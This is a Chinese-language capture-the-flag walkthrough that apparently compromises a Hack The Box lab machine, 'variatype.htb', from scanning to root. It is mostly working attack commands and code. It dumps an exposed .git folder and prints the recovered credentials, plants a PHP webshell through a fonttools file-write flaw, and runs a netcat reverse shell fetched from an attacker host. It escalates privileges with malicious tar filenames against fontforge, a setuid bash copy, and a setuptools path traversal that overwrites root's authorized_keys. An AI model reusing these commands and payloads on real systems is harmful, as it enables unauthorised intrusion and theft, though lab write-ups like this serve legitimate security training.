10.129.8.159
nmap扫描
sudo nmap --top-ports 10000 10.129.8.159 --min-rate=1000 -oA ips_quick_TCP_nmapscan && sudo nmap --top-ports 10000 10.129.8.159 --min-rate=1000 -sU -oA ips_quick_UDP_nmapscan && nmap -p- 10.129.8.159 -oA ips_full_TCP_nmapscan --min-rate=1000 && sudo nmap -p- 10.129.8.159 -sU -oA ips_full_UDP_nmapscan --min-rate=1000

访问80端口

加入host
echo '10.129.8.159 variatype.htb' | sudo tee -a /etc/hosts
我们注意到了这段话,fonttool,2025年爆出其存在任意文件写入漏洞 https://github.com/advisories/GHSA-768j-98cg-p3fv

进行简单vhost扫描
ffuf -w /home/kali/Desktop/Info/SecLists-master/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://variatype.htb/ -H 'Host: FUZZ.variatype.htb' -mc all -fw 18
计入hosts
portal.variatype.htb
echo '10.129.8.159 portal.variatype.htb' | sudo tee -a /etc/hosts
访问网站

扫描http://portal.variatype.htb/
dirsearch -u http://portal.variatype.htb/

窃取git文件夹
git-dumper http://portal.variatype.htb/.git ./

查看git文件
git log -p

成功窃取账户密码
gitbot:G1tB0t_Acc3ss_2025!

经过大量尝试,我们发现可写位置
../../../../../../var/www/portal.variatype.htb/public/files/test


我们写入php就可以获取webshell
<?php system($_GET["cmd"]);?>


尝试一下
http://portal.variatype.htb/files/shell.php?cmd=id

我们开始反连
wget 10.10.15.116/pwn.sh
chmod 755 pwn.sh
./pwn.sh
#pwn.sh内容
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.15.116 80 >/tmp/f

上linpeas
wget http://10.10.15.116/linpeas.sh && chmod 755 linpeas.sh && ./linpeas.sh
上pspy64
wget http://10.10.15.116/pspy64 && chmod 755 pspy64 && ./pspy64

我们在opt文件夹发现了其类似的文件

Linux 提权 - fontforge 库命令执行
我们注意到fontforge,这是一个python库,我们找到了其2024年的漏洞,且2025年存在0day漏洞
https://www.canva.dev/blog/engineering/fonts-are-still-a-helvetica-of-a-problem/
我们可以构造一个恶意的tar文件完成命令执行。先使用下面的代码构造一个恶意的tar文件
#!/usr/bin/env python3
import tarfile
import os
exec_command = f"$(touch /tmp/poc)"
with tarfile.open("poc.tar", "w", format=tarfile.USTAR_FORMAT) as t:
t.addfile(tarfile.TarInfo(exec_command))
然后我们把它放在,~/portal.variatype.htb/public/files,等待一会儿后就可以完成了。

现在我们已经完成了用户的命令执行,我们为用户steve写入authorized_keys
#!/usr/bin/env python3
import tarfile
import os
exec_command = f"$(cp /bin/bash /tmp/bash && chmod +s /tmp/bash)"
with tarfile.open("poc.tar", "w", format=tarfile.USTAR_FORMAT) as t:
t.addfile(tarfile.TarInfo(exec_command))
创建poc.tar
python pwn.py
传输poc.tar到指定文件夹,然后等待。


我们使用进入steve
/tmp/bash -p

Linux提权 - setuptools 路径遍历漏洞 - RCE漏洞
我们查看sudo -l

查看/opt/font-tools/install_validator.py脚本,发现其调用了setuptools,该工具包存在公开漏洞
https://github.com/advisories/GHSA-5rjg-fvgr-3xxf 路径遍历
https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 RCE
我们尝试了RCE但是貌似已经被修复,我们无法输入空格。但路径遍历是可以的。

根据os.path,join的特性,如果name是绝对路径那么他就会仅获取name部分,而name正好是我们所能控制的部分。所以我们构造如下的payload。
#kali
mkdir root
cd root
mkdir .ssh
cat ~/.ssh/id_rsa.pub
sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://10.10.15.116//root/.ssh/authorized_keys'

这里可以看到,name被取做了authorized_keys。我们修改编码。这样做是为了让我们的服务器能够正确找到文件,并且也让%2froot%2f.ssh%2fauthorized_keys成为name参数
sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://10.10.15.116/%2froot%2f.ssh%2fauthorized_keys'
